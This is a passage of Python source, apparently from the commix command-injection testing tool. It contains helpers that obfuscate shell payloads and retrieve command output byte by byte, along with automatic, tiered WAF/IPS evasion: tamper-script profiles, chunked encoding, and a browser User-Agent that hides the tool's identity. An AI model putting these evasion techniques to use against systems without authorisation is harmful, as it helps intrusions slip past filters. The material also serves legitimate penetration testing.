nothing_tested_message(): + if settings.TESTABLE_PARAMETERS_LIST and not settings.TESTABLE_PARAMETERS: + return "All testable parameters you provided are not present within the given request data." + return "No parameter was left to test: every one the request carries was set aside." + +""" +Identify and print non-listed/skipped parameters that were provided but not part of the request. +""" +def testable_parameters(url, check_parameters): + if settings.SKIP_PARAMETERS_LIST: + skipped = [p for p in check_parameters if p in settings.SKIP_PARAMETERS_LIST] + if skipped: + info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(skipped) > 1] + " '" + ", ".join(skipped) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if settings.TESTABLE_PARAMETERS_LIST: + settings.TESTABLE_PARAMETERS = bool( + settings.TESTABLE_PARAMETERS or + any(p in check_parameters for p in settings.TESTABLE_PARAMETERS_LIST) + ) + + non_listed_params = [p for p in settings.TESTABLE_PARAMETERS_LIST if p not in check_parameters] + if non_listed_params: + http_method = check_http_method(url) + if http_method not in settings.METHODS_WITH_NON_LISTED_PARAMS: + settings.METHODS_WITH_NON_LISTED_PARAMS.append(http_method) + warn_msg = "Provided parameter" + ("s" if len(non_listed_params) != 1 else "") + " '" + warn_msg += ", ".join(non_listed_params) + "'" + (" are", " is")[len(non_listed_params) == 1] + warn_msg += " not inside the " + http_method + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +The one sentence a tamper script is listed by, read off its own 'About:'. + +However many lines that sentence was written over: read as the first line alone, a description long +enough to wrap was listed cut off, which reads as a truncated answer from commix rather than as a +description that is merely long. The block itself ends where the next key does, or where the +docstring does - a script whose 'About:' is the only key it carries has nothing but the latter. The +lines a script adds under its opening sentence, a bullet apiece for the target families it treats +differently, elaborate rather than continue it, and belong to neither. +""" +def tamper_description(content): + match = re.search(r'About:(.*?)(?=\n[A-Z][A-Za-z]*:|\n""")', content, re.S) + if not match: + return "" + description = "" + for line in match.group(1).split(settings.END_LINE.LF): + line = line.strip() + # A bullet is the marker and then a space; '->' and '-An' are a sentence carrying on. + if not line or line.split(settings.SINGLE_WHITESPACE)[0] in ("*", "-"): + break + description = (description + settings.SINGLE_WHITESPACE + line).strip() + if description.endswith("."): + break + return description[0].upper() + description[1:] if description else description + +""" +Lists available tamper scripts +""" +def list_tamper_scripts(): + info_msg = "Listing available tamper scripts." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if menu.options.list_tampers: + message = "" + + # Sorted by the name each one is listed and asked for by, not by the path it happens to sit at - + # which is the category directory, and groups the listing by something the reader is not looking + # a script up by. + for _, script in sorted(tamper_script_paths().items()): + with open(script, "rb") as script_file: + content = script_file.read().decode(settings.DEFAULT_CODEC) + comment = tamper_description(content) + if comment: + script_name = os.path.basename(script) + message += ( + "* " + + Fore.LIGHTYELLOW_EX + + script_name + + Style.RESET_ALL + + " - " + + comment + + "\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + +""" +Shared building blocks for tamper scripts' own dependencies() checks - each script decides which +of these apply to it, instead of a central list here trying to track every script's constraints. +""" +""" +Both of these test the operating system, because that is what commix knows - but what they are +really enforcing is the syntax a script is written in, so that is what they say. A shell is named +rather than the host it usually comes with. +""" +def tamper_dep_windows_only(tamper_name): + if settings.TARGET_OS != settings.OS.WINDOWS: + return "The '" + tamper_name + ".py' tamper script needs 'cmd.exe'. Skipping tamper script." + +# Why this script cannot be applied to a Windows target. +def tamper_dep_unix_only(tamper_name): + if settings.TARGET_OS == settings.OS.WINDOWS: + return "The '" + tamper_name + ".py' tamper script needs a POSIX shell. Skipping tamper script." + +def tamper_dep_command_incompatible(tamper_name): + """ + Why this script cannot be applied where the payload is a command rather than evaluated code. + + The mirror of 'tamper_dep_eval_incompatible': what these scripts rewrite is the syntax of the + language doing the evaluating, which a payload going straight to a shell never carries. + + 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends + before that option is ever set - it already carries eval syntax, not a command, which is what + 'EVAL_BASED_STATE' marks regardless of whether '--eval' was given. + """ + if not menu.options.eval_sink and not settings.EVAL_BASED_STATE: + return "The '" + tamper_name + ".py' tamper script needs code injection (i.e. '--eval'). Skipping tamper script." + +# Why this script cannot be applied to an evaluated language other than the one it is written for. +def tamper_dep_grammar_only(tamper_name, language): + if settings.EVAL_GRAMMAR.NAME != language: + return "The '" + tamper_name + ".py' tamper script needs '" + language + "' code injection. Skipping tamper script." + +def tamper_dep_eval_incompatible(tamper_name): + """ + What these scripts cannot survive is the sink, not the technique that reaches it. + + Asked of the classic technique alone, they were skipped there and applied everywhere else - and + code injection is now proven time-based and file-based as well, so the payloads they would have + corrupted were being sent by every technique but the one that refused them. + + 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends + before that option is ever set - a shell-only rewrite applied to that probe's own eval syntax + corrupts it into something no language reads back the way the probe needs, which is what + 'EVAL_BASED_STATE' catches regardless of whether '--eval' was given yet. + """ + if menu.options.eval_sink or settings.EVAL_BASED_STATE: + return "Code injection (i.e. '--eval') does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +# Why this script cannot be applied where no time-related technique is in scope. +def tamper_dep_time_related_only(tamper_name): + time_related_in_scope = len(menu.options.tech) == 0 or "t" in menu.options.tech or "f" in menu.options.tech + if not time_related_in_scope: + return "Only time-related techniques support the usage of '" + tamper_name + ".py'." + +# Why this script cannot be applied alongside an interpreter of the user's own. +def tamper_dep_interpreter_incompatible(tamper_name): + if menu.options.interpreter: + return "Option '--interpreter' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +""" +What separates the payload's words at this point in the run. + +The list is shared and the scripts that substitute whitespace rewrite it as they go, so one of them +undoing its own entry can leave it empty - and a script reading the first entry outright then +raises, which is turned into a critical error and ends the run. Where there is nothing in it, a +plain space is what the payload was built with in the first place. +""" +def current_whitespace(): + return settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE + +# The separator the parameter at hand was proved on, for a rewrite choosing between forms by it. +def current_separator(): + boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + return boundary[2] if boundary else None + +# The statements of an awk program that reads its arguments back from the end, bar the one that +# prints the result. Every loop is a 'while': a 'for' header carries two ';' of its own, which no +# newline between statements would take back. Each word is reversed and the words put back in +# reverse order too, so a command and its arguments come out the way they went in - with 'OFS' +# standing in for the space between them, a literal one being the whitespace substitution's to take. +_AWK_REVERSE_STATEMENTS = ("BEGIN{j=ARGC-1", "while(j>0){i=length(ARGV[j])", + "while(i>0){o=(o)(substr(ARGV[j],i,1))", "i--}", + "if(j>1)o=(o)(OFS)", "j--}") + +def decoded_byte_output(value): + """ + Output that was read a byte at a time, given back as the text the target printed. + + Each byte arrives as a character of its own ordinal, which is a single-byte reading - so a target + speaking UTF-8 hands back the two characters its one accented character is written with. Reading + those bytes as UTF-8 returns the character. Nothing else is: text that was never UTF-8 does not + survive the round trip, and is handed back exactly as it came. + + >>> decoded_byte_output("caf\xc3\xa9") + 'caf\xe9' + >>> decoded_byte_output("plain ascii") + 'plain ascii' + >>> decoded_byte_output("caf\xe9") + 'caf\xe9' + """ + try: + decoded = value.encode("latin-1").decode("utf-8") + except (UnicodeEncodeError, UnicodeDecodeError, AttributeError): + return value + return decoded if decoded != value else value + +def char_pool_expands(): + """ + Whether a byte found to sit above the pool is then looked for in the rest of the range. + + The pool the search runs over is the printable characters, which is what output is made of - a + byte above it is reached by asking for more, and that is worth the questions while the pool is + commix's own. A pool the user wrote out is a statement about this output: a byte outside it is + outside what was asked for, and is left unresolved rather than searched for at a cost the user + did not ask to pay. + """ + return not menu.options.charset + +def substitution_nests(): + """ + Whether a command substitution can hold another one. + + '$( )' can; backticks cannot, not without escaping every inner pair, which is a quote more than + the payload is proving. The separators that chain on nothing - '&' and '&&' - say what the others + say with two commands by putting one substitution inside another, so they are only written where + the substitution in use allows it. + + Read off the substitution itself rather than kept alongside it: the two would otherwise be two + answers to one question, and a run that set only one of them would skip the nesting form while + still writing '$( )', which nests perfectly well. + + >>> substitution_nests() + True + """ + return settings.CMD_SUB_PREFIX != settings.BACKTICK_SUBSTITUTION + +def using_backticks(): + """ + Whether the substitution in use is the backtick one - the same question substitution_nests() + asks, put the way the callers that escape or strip a substitution need to hear it. + + >>> using_backticks() + False + """ + return not substitution_nests() + +def windows_output_text(cmd): + """ + A command's output as one line, with the whitespace the shell ends it on taken off. + + Trimmed at the end alone: '.trim()' takes the leading whitespace with it, which is the output's + own and is kept everywhere else - a POSIX payload removes a single trailing space and no more. + + >>> windows_output_text("ver").endswith(".TrimEnd()") + True + >>> ".trim()" in windows_output_text("ver") + False + """ + return "([string](cmd /c " + cmd + ")).TrimEnd()" + +def windows_output_bytes(text): + """ + The bytes a PowerShell string is written in, which is what every ordinal a search asks about is. + + '[char]' answers the code point instead, and the pool a byte is searched in stops at 255 - so a + character past Latin-1 reads as one no byte can be, and the position is thrown away as if the + target had answered late to everything. + + >>> windows_output_bytes("$x").startswith("([Text.Encoding]::UTF8.GetBytes(") + True + """ + return "([Text.Encoding]::UTF8.GetBytes(" + text + "))" + +def byte_ordinal(byte_expression): + """ + The ordinal of a single byte, as a number the search can rely on being between 0 and 255. + + A byte comes back through 'printf', which hands it over as a plain char - signed on most builds, + so bash answers -61 for the same byte dash answers 195 for. Either answer lands back in range + once the span is added on, and the one that was already right is left where it is. + + >>> byte_ordinal("${X}").startswith("$((") + True + >>> "256" in byte_ordinal("${X}") + True + >>> "|" in byte_ordinal("${X}") + False + """ + prefix, suffix = byte_ordinal_bounds() + return prefix + byte_expression + suffix + +def byte_ordinal_term(byte_expression): + """ + The same reading, written to go inside an arithmetic expansion that is already open. + + An arithmetic expansion holding another one is not parsed alike everywhere - a dash of the age + shipped with older distributions stops at the first '))' and calls the rest a syntax error, which + a payload cannot be told apart from a target that simply did not answer. Opened once and the + reading put in as a term of it, there is nothing nested to disagree over. + + >>> byte_ordinal_term("${X}").startswith("(") + True + >>> "$((" in byte_ordinal_term("${X}") + False + """ + prefix, suffix = byte_ordinal_bounds() + # The bounds, less the expansion they open and close - what is left is the term itself, with the + # padding that only ever sat either side of it taken off too. + opened = prefix[len("$(("):].lstrip() + closed = suffix[:-len("))")].rstrip() + return opened + byte_expression + closed + +def byte_ordinal_bounds(): + """ + What byte_ordinal() writes around a byte, for a rewrite that has to find the reading again and + put its own in place of it - taken from here rather than spelled out twice and left to drift. + + >>> "".join(byte_ordinal_bounds()) in byte_ordinal("") + True + """ + span = str(settings.HIGHEST_BYTE + 1) + return ("$(( ( $(" + settings.BYTE_LOCALE + " printf '%d' \"'", + "\") + " + span + " ) % " + span + " ))") + +def awk_separator_usable(separator): + """ + Whether awk reads a program whose statements are separated by this one. + + >>> awk_separator_usable(";") + True + >>> awk_separator_usable(settings.END_LINE.LF) + True + >>> [awk_separator_usable(_) for _ in ("&", "&&", "|", "", None)] + [False, False, False, False, False] + """ + return separator in (";", settings.END_LINE.LF) + +def awk_reverse_program(separator, fold=False): + """ + That program, written out with the separator the payload is already proving between its statements. + + >>> "|" in awk_reverse_program(";") + False + >>> ";" in awk_reverse_program(settings.END_LINE.LF) + False + >>> "tolower" in awk_reverse_program(";", fold=True) + True + >>> "tolower" in awk_reverse_program(";") + False + """ + printed = "print(" + ("tolower(o)" if fold else "o") + ")}" + return "'" + separator.join(_AWK_REVERSE_STATEMENTS + (printed,)) + "'" + +""" +Record the boundary a technique just proved, and put its whitespace at the front of the list. + +The boundary itself is what the techniques after this one lead with. The whitespace is promoted on +top of that because everything reached after detection - the shell, file access, the out-of-band +exploit - asks for 'WHITESPACES[0]' rather than for the boundary, and a substitute that had to be +used to prove the injection is just as necessary to use it. +""" +def confirm_boundary(bare_prefix, bare_suffix, separator, whitespace): + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + """ + A pipe proves the injection but cannot carry the retrieval, where the substitution in use holds + no second one inside it. + + Measuring a command's own output means putting the command inside the expression that counts it, + which backticks cannot express without escaping every inner pair. Counting the pipeline instead + would count the newline the other spelling drops, and the retrieval indexes by that count - so it + is left alone and said out loud rather than answered with nothing and no reason given. + """ + if (separator in ("|", "||") and not substitution_nests() + and not settings.PIPE_RETRIEVAL_NOTICE_GIVEN): + settings.PIPE_RETRIEVAL_NOTICE_GIVEN = True + warn_msg = "The pipe this finding was confirmed on cannot carry the retrieval of a command's " + warn_msg += "output while the payload is written with backticks, so execution is proved but " + warn_msg += "nothing is read back through it. Another substitution reaches both." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if whitespace and settings.WHITESPACES and settings.WHITESPACES[0] != whitespace: + settings.WHITESPACES = [whitespace] + [_ for _ in settings.WHITESPACES if _ != whitespace] + +""" +Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). +""" +def tamper_restore_ignored_words(payload, obf_char): + for word in sorted(settings.IGNORE_TAMPER_TRANSFORMATION, key=len, reverse=True): + obf_word = "".join(obf_char + char if re.match(settings.TAMPER_MODIFICATION_LETTERS, char) else char for char in word) + if obf_word != word and obf_word in payload: + payload = payload.replace(obf_word, word) + whitespace = current_whitespace() + pattern = r"\b(for|read)" + re.escape(whitespace) + r"((?:" + re.escape(obf_char) + r")?\w(?:(?:" + re.escape(obf_char) + r")?\w)*)" + return re.sub(pattern, lambda x: x.group(1) + whitespace + x.group(2).replace(obf_char, ""), payload) + +""" +Apply a letter-modification regex only outside double-quoted spans (Windows/cmd.exe only) - +caret (and similar per-letter escapes) has no effect inside double quotes, so applying it there +just corrupts literal quoted text (e.g. "tokens=*", "powershell.exe ...") instead of obfuscating it. +""" +def tamper_modify_letters_outside_quotes(payload, repl): + parts = re.split(r'("[^"]*")', payload) + return "".join(part if part.startswith('"') else re.sub(settings.TAMPER_MODIFICATION_LETTERS, repl, part) for part in parts) + +""" +Apply "transform" outside single-quoted spans only - single quotes suppress expansion, so anything injected there stays literal and corrupts the argument. +""" +def tamper_outside_single_quotes(payload, transform): + # cmd.exe gives a single quote no meaning of its own, so a span in them is not a literal to be + # left alone - the whitespace inside a 'for /f' command would go out unencoded. + if settings.TARGET_OS == settings.OS.WINDOWS: + return transform(payload) + parts = re.split(r"('[^']*')", payload) + return "".join(part if part.startswith("'") else transform(part) for part in parts) + +# A quoted span, and inside a double-quoted one what is still code rather than part of the literal. +TAMPER_QUOTED_SPAN = r"""('[^']*'|"[^"]*")""" +TAMPER_QUOTED_CODE = re.compile(r"\$\((?P[^()]*)\)|`(?P[^`]*)`") + +""" +Apply "transform" to everything but the text a quote makes a literal of. + +'tamper_outside_single_quotes' leaves a double-quoted span to be rewritten, which is right for a +substitute the shell reads back as the character it replaced. A whitespace one is not among those: +'${IFS}' written between two words is the gap between them, while the same thing written between +two words of a double-quoted literal is three characters of that literal - so a request line built +as "GET /x HTTP/1.0" arrives as something no server is going to answer. The literal is left to +itself here, and only the substitutions inside it are walked, each being a payload of its own. + +Only the payload's own quotes are read that way. A boundary's quote answers one the application +opened, so the span it appears to open runs the other way round - what is inside it is the shell's +code and what is outside is the application's string - and pairing it with one of the payload's own +would read both backwards. The two ends are held aside first, by what 'PAYLOAD_EDGES' was last told +they are, and rewritten on their own. +""" +def tamper_outside_quoted_text(payload, transform): + # cmd.exe gives a single quote no meaning of its own, for the reason given just above. + if settings.TARGET_OS == settings.OS.WINDOWS: + return transform(payload) + opening, closing = settings.PAYLOAD_EDGES + # Held aside only while they are still there to recognise: a script that has already rewritten + # one of the two ends has made the payload something this cannot take apart, and the walk below + # is what the whole of it gets. + if (opening or closing) and payload.startswith(opening) and payload.endswith(closing) and \ + len(payload) > len(opening) + len(closing): + return transform(opening) + \ + tamper_outside_quoted_text(payload[len(opening):len(payload) - len(closing)], transform) + \ + transform(closing) + parts = re.split(TAMPER_QUOTED_SPAN, payload) + # Alternating: what the split was made on lands on the odd positions, the text between on the even. + for index, part in enumerate(parts): + if index % 2 == 0: + parts[index] = transform(part) + elif part.startswith("\""): + parts[index] = TAMPER_QUOTED_CODE.sub(lambda match: _tamper_quoted_code(match, transform), part) + return "".join(parts) + +# One substitution out of a double-quoted literal, walked by the same rules as the payload around +# it - a quote of its own inside it is a quote like any other, and is held to itself the same way. +def _tamper_quoted_code(match, transform): + if match.group("substitution") is not None: + return "$(" + tamper_outside_quoted_text(match.group("substitution"), transform) + ")" + return "`" + tamper_outside_quoted_text(match.group("backticks"), transform) + "`" + +# A whitespace substitute that is only a separator once the shell has expanded it ('${IFS}', +# '$IFS$9'), as against one that is a separator character in its own right (a tab, a '%20'). +TAMPER_EXPANDED_BLANK = "$" +# What stands in for one of those where it would not be read as the gap it is written for. A tab is +# settled as that gap at the point a keyword is, before anything expands, and is still not the +# space whichever filter the substitute is there for took away. +TAMPER_PARSED_BLANK = "\t" +# A command's own assignments, which such a substitute cannot be written after: the words of an +# assignment are the one place a shell does no field splitting, so what expands to a separator +# there is read as more of the value rather than as the end of it. A substitution opens a word of +# its own, so a value reaching into one is not this - what follows it is split as usual. +TAMPER_ASSIGNMENTS = re.compile(r"(?:\A|[;&|`\n(])(?:\s*[A-Za-z_]\w*=[^\s;&|`\n()]*)+\Z") + +def tamper_blank_allowed(blank, part, start, end): + """ + Whether a whitespace substitute written where this one is would be read as the gap it stands for. + + A separator character of its own always is. An expansion is one only where the shell splits what + it expanded, and there are three places it does not: beside a keyword, which is settled off the + word as written and so is no keyword at all once something expands next to it; after a command's + own assignments, whose words are not split; and, for '$IFS$9', in front of a digit, which the + shell reads together with the '$9' as one longer - and equally empty - parameter. + """ + if not blank.startswith(TAMPER_EXPANDED_BLANK): + return True + before = re.search(r"(\w+)\Z", part[:start]) + after = re.match(r"\A(\w+)", part[end:]) + if (before and before.group(1) in settings.SHELL_KEYWORDS) or \ + (after and after.group(1) in settings.SHELL_KEYWORDS): + return False + if TAMPER_ASSIGNMENTS.search(part[:start]): + return False + return not (blank.endswith("$9") and after and after.group(1)[:1].isdigit()) + +# Every space in one span of shell code written as the substitute, bar where that one would not be +# read as the gap it stands for and a tab is written instead. +def tamper_blanks(part, blank): + return re.sub(re.escape(settings.SINGLE_WHITESPACE), + lambda match: blank if tamper_blank_allowed(blank, part, match.start(), match.end()) + else TAMPER_PARSED_BLANK, part) + +""" +Interleave obf_char before each tamper-modification-letter match (Unix-only) - the shared logic behind backslashes/dollaratsigns/singlequotes. +""" +def interleave_char_tamper(payload, obf_char): + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + payload = tamper_outside_single_quotes(payload, lambda part: re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], part)) + return tamper_restore_ignored_words(payload, obf_char) + +# Spans a shell-span transformation must not reach into, held aside while the payload is rewritten. +SHELL_SPAN_HELD = "\x00%d\x00" +SHELL_SPAN_HELD_REGEX = r"\x00(\d+)\x00" + +# A name the shell assigns to rather than reads: it is spelled out or it is not a name at all. The +# separator is whatever the payload was built with, a held-aside '${IFS}' among it. +TAMPER_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + SHELL_SPAN_HELD_REGEX + r")*$" + +def tamper_shell_feature_note(): + """ + What a run that found nothing was asking of the target's shell, where it asked for more than a + plain one has. Such a target answers exactly as an unaffected one does, so nothing else in the + run distinguishes "not injectable" from "not injectable the way this script needs". + """ + applied = sorted(name for name in settings.SHELL_FEATURE_TAMPERS if settings.TAMPER_SCRIPTS.get(name)) + if not applied: + return "" + needs = " and ".join("'" + name + "' needs " + settings.SHELL_FEATURE_TAMPERS[name] for name in applied) + plural = len(applied) > 1 + return (" The tamper script" + ("s in use ask" if plural else " in use asks") + " more of the shell than a " + "strict POSIX one has (" + needs + "), and a target without it answers as if nothing were injectable.") + +def tamper_rewrite_user_command(payload, tamper_name): + """ + The user's command as every script that rewrites it leaves it, written into the payload once. + + Each of these used to reach back to the untouched payload when it could not find the command + where it expected it, which is what happens the moment another one has already rewritten it - + so whichever ran second threw the first one's work away and they could not be combined. The + chain is built here instead, in the order the scripts are listed, and only the first of them + still running writes it in; the rest find their own work already done. + """ + rewriters = [name for name in settings.COMMAND_REWRITERS if settings.TAMPER_SCRIPTS.get(name)] + if not rewriters or rewriters[0] != tamper_name: + return payload + command = settings.USER_APPLIED_CMD + for name in rewriters: + command = importlib.import_module(tamper_module_path(name)).rewrite_command(command) + if command == settings.USER_APPLIED_CMD: + return payload + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + payload = source.replace(settings.USER_APPLIED_CMD, command) + # The substitute goes back on what the command was written into, and on the same terms the + # request itself puts it on: a quoted literal is the string the payload meant to send, not a + # place where one word ends and the next begins. + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE: + rewrite = (tamper_outside_single_quotes if settings.WHITESPACES[0] in settings.DECODED_WHITESPACES + else tamper_outside_quoted_text) + payload = rewrite(payload, lambda part: tamper_blanks(part, settings.WHITESPACES[0])) + return payload + +def tamper_word_kept(word, preceding=""): + """ + Whether a word has to reach the target spelled exactly the way the payload wrote it. + + A POSIX shell decides what is a keyword before it takes any quoting off, so a keyword spelled + any other way arrives as a plain word and the payload loses the loop or the branch it was built + around. The same goes for a name being assigned to, which is why what comes before the word is + worth passing in. Windows needs none of this - cmd.exe takes its carets off first, and reads + what is left as the keyword it is - which is why every caller here is a Unix-only script. + """ + if word in settings.IGNORE_TAMPER_TRANSFORMATION: + return True + return bool(re.search(TAMPER_ASSIGNED_NAME, preceding)) + +def tamper_shell_spans(payload, transform, nested=False, literal=False): + """ + Hand each span of the payload that the shell reads as code to "transform", innermost first. + + A script rewriting shell syntax has to know which parts of a payload are shell syntax. Single + quotes suppress everything inside them; double quotes suppress all but a substitution, which is + a payload of its own and is walked by the same rules before being held aside as one word. + Arithmetic and parameter expansions are held aside whole - they carry no command, but they do + carry the brackets and comparisons a transformation is apt to mistake for punctuation of its own. + + "transform" is called as transform(text, nested), where "nested" says whether the start of the + text is a command position - true inside a substitution, false at the top level, where what + comes first is the parameter's own value rather than a command. + """ + parts, held, index = [], [], 0 + while index < len(payload): + if payload.startswith("$((", index) or payload.startswith("${", index): + opening, closing = ("(", ")") if payload[index + 1] == "(" else ("{", "}") + # Counted rather than searched for: one expansion nests inside another in the payloads that + # take a string apart a character at a time, and the first close there ends the inner one. + depth, end = 0, index + 1 + while end < len(payload): + if payload[end] == opening: + depth += 1 + elif payload[end] == closing: + depth -= 1 + if depth == 0: + break + end += 1 + end = min(end, len(payload) - 1) + parts.append(SHELL_SPAN_HELD % len(held)) + held.append(payload[index:end + 1]) + index = end + 1 + elif payload.startswith("$(", index): + depth, end = 1, index + 2 + while end < len(payload) and depth: + if payload[end] == "(": + depth += 1 + elif payload[end] == ")": + depth -= 1 + end += 1 + parts.append(SHELL_SPAN_HELD % len(held)) + held.append("$(" + tamper_shell_spans(payload[index + 2:end - 1], transform, nested=True) + ")") + index = end + elif payload[index] in ("`", "'", "\""): + quote = payload[index] + end = payload.find(quote, index + 1) + end = len(payload) if end == -1 else end + inner = payload[index + 1:end] + # Double quotes do not stop a substitution being code of its own, so the walk goes on inside + # them - but the text around it is a literal, and is left to itself. Single quotes stop both. + if quote == "`": + inner = tamper_shell_spans(inner, transform, nested=True) + elif quote == "\"": + inner = tamper_shell_spans(inner, transform, nested=True, literal=True) + parts.append(SHELL_SPAN_HELD % len(held)) + held.append(quote + inner + quote) + index = end + 1 + else: + parts.append(payload[index]) + index += 1 + walked = "".join(parts) + if not literal: + walked = transform(walked, nested) + return re.sub(SHELL_SPAN_HELD_REGEX, lambda x: held[int(x.group(1))], walked) + +""" +Whether a substitution written with backticks is one the target could even be asked about. + +Only where the substitution is the shell's to make: 'cmd.exe' has no backtick, and an interpreter +is handed a program rather than a shell line. And only while the scripts in use are ours to choose. +""" +def may_retry_through_backticks(): + return not menu.options.interpreter and settings.TARGET_OS != settings.OS.WINDOWS and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and \ + "backticks" not in settings.MULTI_ENCODED_PAYLOAD + +""" +Whether to ask the target the same question again with the substitution written as backticks. + +Every command substitution written here is opened with '$', the heuristic's own probe included, and +so is the '${IFS}' a filtered whitespace is first worked around with - so a single filter on that +one character refuses all of them, and what gets reported is a parameter that is not injectable +rather than one that was asked the wrong way. A backtick opens the same substitution and is a +different character. + +Asked once and held for the run, the way the other retry consents are: what is being answered is +whether another pass around an obstacle is worth its cost at all, which is the same answer for +every target. +""" +def backtick_retry_consent(): + if settings.BACKTICK_RETRY_CHOICE is None: + message = "Do you want " + settings.APPLICATION + " to try again in case a dollar sign ('$') is being " + message += "filtered (e.g. by using a tamper script that substitutes through backticks instead)? [Y/n] " + settings.BACKTICK_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.BACKTICK_RETRY_CHOICE + +""" +Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run. +A tamper script provided by the user is left alone - the combination is their call, not ours. +""" +def waf_evasion_consent(): + if settings.WAF_EVASION_CONSENT is None: + # The evasion is only ours to choose while the user has not chosen one of their own. + if not settings.WAF_ENABLED or menu.options.skip_waf or settings.USER_APPLIED_TAMPER or menu.options.tamper: + return False + message = "Do you want " + settings.APPLICATION + " to try bypassing it? [Y/n] " + settings.WAF_EVASION_CONSENT = common.read_input(message, default="Y", check_batch=True).lower() != "n" + # Answered here or in the run this one was resumed from - either way, what the request says about + # itself is the first thing to answer, and is answered once. + if settings.WAF_EVASION_CONSENT: + neutralize_request_fingerprint() + return settings.WAF_EVASION_CONSENT + +""" +A browser's User-Agent, drawn from the list switch '--random-agent' reads. +""" +def random_user_agent(): + return random.choice(common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list")) + +""" +Take this tool's name off the request itself, once the protection in front of the target is being +answered. A filter reading the "User-Agent" has already settled what to do with the request before +anything it carries is looked at, so no amount of rewriting the payload is an answer to one. + +What the user settled themselves is left alone, and so is a header the parameter is being injected +through: the rest of the fingerprint is then left to match whatever that says. +""" +def neutralize_request_fingerprint(): + if settings.WAF_EVASION_FINGERPRINT_APPLIED: + return False + if settings.USER_AGENT_INJECTION or menu.options.requestfile or menu.options.logfile or \ + menu.options.agent != settings.DEFAULT_USER_AGENT: + return False + settings.WAF_EVASION_FINGERPRINT_APPLIED = True + settings.BROWSER_LIKE_HEADERS = True + menu.options.agent = random_user_agent() + info_msg = "Making the request read as a browser's, so it does not name " + settings.APPLICATION + " itself." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The HTTP " + settings.USER_AGENT + " header value is '" + menu.options.agent + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return True + +""" +Frame the payload as chunks, which hides it from a filter without changing what the target +receives. This says nothing about the target's operating system, so it can be used right away. +""" +def apply_waf_transport_evasion(): + if menu.options.chunked or not settings.USER_DEFINED_POST_DATA or not waf_evasion_consent(): + return False + menu.options.chunked = True + settings.WAF_EVASION_APPLIED = "chunked" + # Persistent connections cannot carry a chunked body, so that choice has to be revisited. + init_keep_alive() + info_msg = "Turning on chunked transfer-encoding, to get the payload past it." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +""" +Turn on the tamper scripts that suit the target, once its operating system is known. +""" +def waf_evasion_profiles(): + return settings.WAF_EVASION_PROFILE["windows" if settings.TARGET_OS == settings.OS.WINDOWS else "unix"] + +# Turn on the tamper scripts that a blocked payload calls for. +def apply_waf_evasion(): + if menu.options.tamper or not waf_evasion_consent(): + return + + profile = waf_evasion_profiles()[settings.WAF_EVASION_TIER] + menu.options.tamper = profile + settings.WAF_EVASION_APPLIED = (settings.WAF_EVASION_APPLIED + "," + profile).strip(",") + # The combination was chosen on purpose here, so the warning about their number does not apply. + settings.TAMPER_WARNING_SHOWN = True + info_msg = "Turning on the tamper scripts that suit the target, to get the payload past it." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Step the evasion up a tier, when what is already tampered is still being blocked. +""" +def escalate_waf_evasion(on_block=True): + if not settings.WAF_EVASION_APPLIED or not settings.WAF_EVASION_CONSENT: + return False + # A blocked response is counted, while techniques having run out speaks for itself. + if on_block: + settings.WAF_BLOCKS_SINCE_EVASION += 1 + if settings.WAF_BLOCKS_SINCE_EVASION < settings.WAF_ESCALATION_THRESHOLD: + return False + + profiles = waf_evasion_profiles() + if settings.WAF_EVASION_TIER + 1 >= len(profiles): + return False + + settings.WAF_BLOCKS_SINCE_EVASION = 0 + settings.WAF_EVASION_TIER += 1 + profile = profiles[settings.WAF_EVASION_TIER] + menu.options.tamper = profile + # The scripts in use are rebuilt from scratch, so the ones being replaced are not kept on. + settings.MULTI_ENCODED_PAYLOAD = [] + # A whitespace-mutating tamper from the tier being replaced (e.g. 'space2ifs') claims + # 'WHITESPACES[0]' for itself and keeps it - the new tier's own one (e.g. 'space2htab') only + # takes that slot when it still holds the plain space, so left alone it just appends behind + # the stale, still-blocked substitute instead of replacing it. + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.WAF_EVASION_APPLIED = ("chunked," if menu.options.chunked else "") + profile + settings.WAF_EVASION_ESCALATED = True + warn_msg = "What is already tampered is still being blocked, so stepping the evasion up a tier." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Said after the reason for it and named the way '--tamper' names its own. + tamper_scripts(stored_tamper_scripts=False) + return True + +""" +Take back every tamper script this run adopted on its own, leaving the ones '--tamper' named. + +Rebuilt from scratch rather than removed one by one, the way an evasion tier that replaces another +is: a whitespace-mutating script holds 'WHITESPACES[0]' for as long as it is in 